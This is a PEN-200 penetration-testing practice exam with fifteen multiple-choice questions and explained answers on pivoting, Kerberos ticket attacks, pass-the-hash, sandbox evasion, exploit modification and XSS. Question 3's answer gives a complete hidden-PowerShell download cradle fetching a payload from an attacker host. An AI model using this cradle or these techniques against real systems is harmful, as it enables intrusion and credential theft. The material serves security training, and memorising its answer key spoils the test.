PEN-200 Practice Test 15 — 15 Questions

Question 1

A penetration tester has compromised a Linux host and wants to use it as a pivot to reach an internal network. The tester decides to use SSH local port forwarding to access an internal web server at 10.0.0.5:80 from their attacking machine. Which command should the tester run on the attacking machine?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

ssh -L 8080:10.0.0.5:80 user@pivot. Local port forwarding with SSH uses the -L local_port:remote_host:remote_port syntax. The attacking machine listens on the local port and forwards connections through the SSH tunnel to the pivot, which then connects to the specified remote host and port. This is the standard way to access an internal service from an external machine.

Answer

ssh -D 8080 user@pivot

Answer

ssh -R 8080:10.0.0.5:80 user@pivot

Answer

ssh -L 10.0.0.5:80:8080 user@pivot

Question 2

During a penetration test, you have gained access to a workstation and extracted a Kerberos TGT for a domain user. You want to use this ticket to access a file share on another server without knowing the user's password. Which technique should you employ?

Accepted Answer

Pass-the-Ticket by injecting the TGT into the current session using Mimikatz's kerberos::ptt command.. Pass-the-Ticket with Mimikatz's kerberos::ptt injects the stolen TGT into the current session, allowing Kerberos authentication as the user. This grants access to network resources such as file shares without needing the password. It is the appropriate technique when a TGT is already available and the goal is to use it for lateral movement.

Answer

Silver Ticket by forging a service ticket for the file share using the service account's hash.

Answer

Golden Ticket by forging a TGT using the KRBTGT hash to impersonate any user.

Answer

Overpass-the-Hash by using the TGT's associated NTLM hash to request a new TGT.

Question 3

You are crafting a malicious HTML Application (.hta) to deliver to a Windows user during a phishing engagement. When the file is opened, you want it to execute a PowerShell download cradle that fetches a second-stage payload. Which VBScript construct inside the HTA most directly spawns the hidden PowerShell process?

Accepted Answer

CreateObject("WScript.Shell").Run "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/a.ps1')", 0, False. An HTA executes VBScript or JScript in the mshta.exe host, which exposes the WScript object model. Using WScript.Shell.Run with the hidden window flag executes the PowerShell download cradle without displaying a console, letting the HTA silently retrieve and run the next-stage payload from the attacker's HTTP server.

Answer

CreateObject("WScript.Network").MapNetworkDrive "Z:", "\10.10.10.5\share"

Answer

CreateObject("MSXML2.XMLHTTP").Open "GET", "http://10.10.10.5/a.ps1", False

Answer

CreateObject("Scripting.FileSystemObject").OpenTextFile "http://10.10.10.5/a.ps1"

Question 4

During an Active Directory penetration test, you have obtained Domain Admin privileges. To maintain persistent access, you decide to create a Golden Ticket. Which two of the following pieces of information are required to forge a valid Golden Ticket? (Choose two.)

Accepted Answer

The KRBTGT account's NTLM hash.. To forge a Golden Ticket, you need the KRBTGT account's NTLM hash to encrypt the ticket and the domain SID to populate the PAC correctly. These two elements allow you to create a TGT for any user, granting persistent domain-wide access. Other items like a valid TGT or user passwords are not required, as the ticket is self-signed with the KRBTGT hash.

Answer

The target user's password.

Answer

A valid Kerberos TGT for a Domain Admin.

Answer

The Domain Controller's machine account hash.

Question 5

Which THREE techniques are commonly implemented in malware to detect and evade dynamic analysis within an automated sandbox environment?

Accepted Answer

Checking for a low number of CPU cores or small RAM size. Sandbox evasion relies on identifying traits that distinguish a virtualized, automated analysis environment from a real user workstation. Malware often checks for specific hardware configurations, waits for human-like interaction, or uses long delays to exceed the sandbox's limited analysis time. These methods ensure the malicious payload remains dormant while the environment is being monitored by security researchers.

Answer

Executing a large number of NOP instructions to increase file size

Answer

Using direct syscalls to bypass the Windows API hooks

Question 6

Which of the following describes the danger of a service that runs as 'LocalSystem' but does not have the 'Interactive' flag enabled?

Accepted Answer

The service is still fully capable of performing administrative actions.. Even without the 'Interactive' flag, a service running as 'LocalSystem' has the highest possible privileges on the local machine. The flag only determines if the service can display a GUI to the logged-in user. Attackers can still interact with these services via command-line exploits or by injecting code into them, making the 'Interactive' flag irrelevant for determining the security risk of the service account.

Answer

The service is immune to DLL hijacking.

Answer

The service cannot be exploited.

Answer

The service only runs when a user is logged in.

Question 7

Which of the following is a common symptom of a Command Injection vulnerability?

Accepted Answer

The application returns the output of a command like 'whoami' or 'id'.. Command injection occurs when an application passes unsafe user input to a system shell. The vulnerability allows an attacker to execute arbitrary OS commands, often revealed by the application outputting the results of the command directly. Understanding this helps security professionals recognize when an input field is interacting with the underlying operating system, necessitating strict input sanitation to prevent severe system compromise.

Answer

The web page displays a SQL syntax error message.

Answer

The login page takes a long time to respond to requests.

Answer

Users are redirected to an external, malicious website.

Question 8

When performing SSH dynamic port forwarding with the -D flag, what is the primary benefit compared to local port forwarding (-L)?

Accepted Answer

It enables routing to multiple internal hosts dynamically.. Dynamic port forwarding creates a SOCKS proxy, which allows the user to route traffic to any destination reachable by the remote jump host. Unlike local port forwarding, which requires specifying a target IP and port upfront, dynamic forwarding is flexible. This is essential during the discovery phase of a penetration test, as it allows tools like Nmap or browser-based tools to explore an entire internal network segment without individual tunnel configurations.

Answer

It provides a faster connection speed than local forwarding.

Answer

It is more secure because it disables encryption.

Answer

It allows the user to run commands on the remote machine.

Question 9

Why is using the default 'msfvenom' encoders like 'shikata_ga_nai' often insufficient for bypassing modern antivirus solutions?

Accepted Answer

The decoding stubs have well-known, static signatures.. Metasploit encoders were originally designed to remove 'bad characters' from shellcode to ensure it would run correctly in an exploit. They were not primarily intended for antivirus evasion. Because these encoders are open-source and widely used, antivirus vendors have had years to develop highly accurate signatures for the decoding stubs they generate, making them easily detectable.

Answer

They only work on 32-bit systems and are ignored by 64-bit AV.

Answer

The encoders increase the file size, making it look suspicious.

Answer

They use encryption that is easily decrypted by the AV engine.

Question 10

Which of the following describes the risk associated with using a password manager that lacks a master password and relies solely on local file encryption?

Accepted Answer

The encryption keys are stored in a predictable location or memory, allowing for easy extraction.. Password managers are designed to consolidate credentials, but they are only as secure as their master secret. Without a master password, the vault relies on the security of the host filesystem. If an attacker gains local access or performs a memory dump, the keys are easily extractable. This concept is vital for understanding how credential storage mechanisms can be exploited when the primary authentication factor is absent or bypassed.

Answer

The vault is vulnerable to dictionary attacks due to the lack of a salt in the local file.

Answer

The lack of a master password prevents the use of multi-factor authentication for the vault.

Answer

The file format will be incompatible with standard password cracking software like John the Ripper.

Question 11

You are performing reconnaissance and want to identify if a target website uses a specific CMS like WordPress. What is the most effective approach?

Accepted Answer

Use tools like whatweb or Wappalyzer.. Automated tools like 'wappalyzer' or 'whatweb' are highly effective at identifying the underlying technology stack of a web application. They analyze HTTP headers, source code patterns, and common file paths to detect CMS platforms. Identifying the CMS is critical because it allows the tester to focus on known vulnerabilities associated with that specific platform, rather than spending time on generic web assessments that may yield fewer results.

Answer

Manually inspect every image on the site.

Answer

Perform a denial-of-service attack.

Answer

Guess the CMS by looking at the page title.

Question 12

You have captured an NTLM hash of a domain user. Why is performing a Pass-the-Hash (PtH) attack often more effective than attempting to crack the hash for the cleartext password?

Accepted Answer

The hash is accepted directly by the authentication service. Pass-the-Hash relies on the fact that Windows authentication protocols (NTLM) use the hash itself as a form of credential. By injecting the hash into the authentication process, the attacker can authenticate as the user without ever knowing the cleartext password. This bypasses complexity requirements and is immune to password cracking speeds, making it an extremely efficient method for lateral movement within a domain.

Answer

It requires less network traffic than a standard login

Answer

Cracking the hash is prohibited by corporate policy

Answer

The hash provides access to all domain controllers

Question 13

When modifying a public exploit to fit your specific target, which TWO of the following actions are considered best practices? (Choose TWO)

Accepted Answer

Updating the hardcoded IP address and port to match your target.. Modifying public exploits is a common task that requires precision to ensure the exploit succeeds without crashing the service. Adjusting parameters like the payload and connection information is essential for success. Properly testing these changes in a lab environment first prevents accidental service downtime or triggering defensive alerts during the actual assessment, ensuring the exploitation process is methodical, predictable, and aligned with your testing objectives.

Answer

Changing the exploit code to use a different programming language entirely.

Answer

Deleting all comments to make the exploit run faster.

Answer

Adding complex obfuscation to bypass all possible firewalls.

Question 14

Refer to the exhibit. You have scanned a target and obtained these results. Which step is most logical to perform next to effectively enumerate the web service?

Accepted Answer

Perform directory busting using tools like ffuf or gobuster.. After identifying open ports, the next logical step is to enumerate the specific services running. For port 80, web directory brute-forcing is essential to uncover hidden administrative panels or configuration files that might not be linked on the home page. This systematic approach ensures no low-hanging fruit is missed, providing a deeper understanding of the target's attack surface before attempting any vulnerability exploitation against the identified web application or services.

Answer

Immediately attempt to exploit the FTP service with anonymous login.

Answer

Brute-force the SSH service using a list of common passwords.

Answer

Run a full vulnerability scanner against the entire target IP.

Question 15

Which of the following describes a stored Cross-Site Scripting (XSS) attack?

Accepted Answer

A script is injected into a database and served to future users.. Stored XSS occurs when malicious scripts are permanently saved on the target server, such as in a database or comment section. Every user who visits the affected page subsequently executes the script in their browser. This is highly dangerous because the attack propagates automatically to all users, often allowing attackers to steal session cookies, perform unauthorized actions, or redirect users to malicious domains without any interaction from the victim.

Answer

A script is reflected in the URL parameters of a request.

Answer

A script is executed purely on the client-side without reaching the server.

Answer

An attacker uses a brute-force attack to guess user passwords.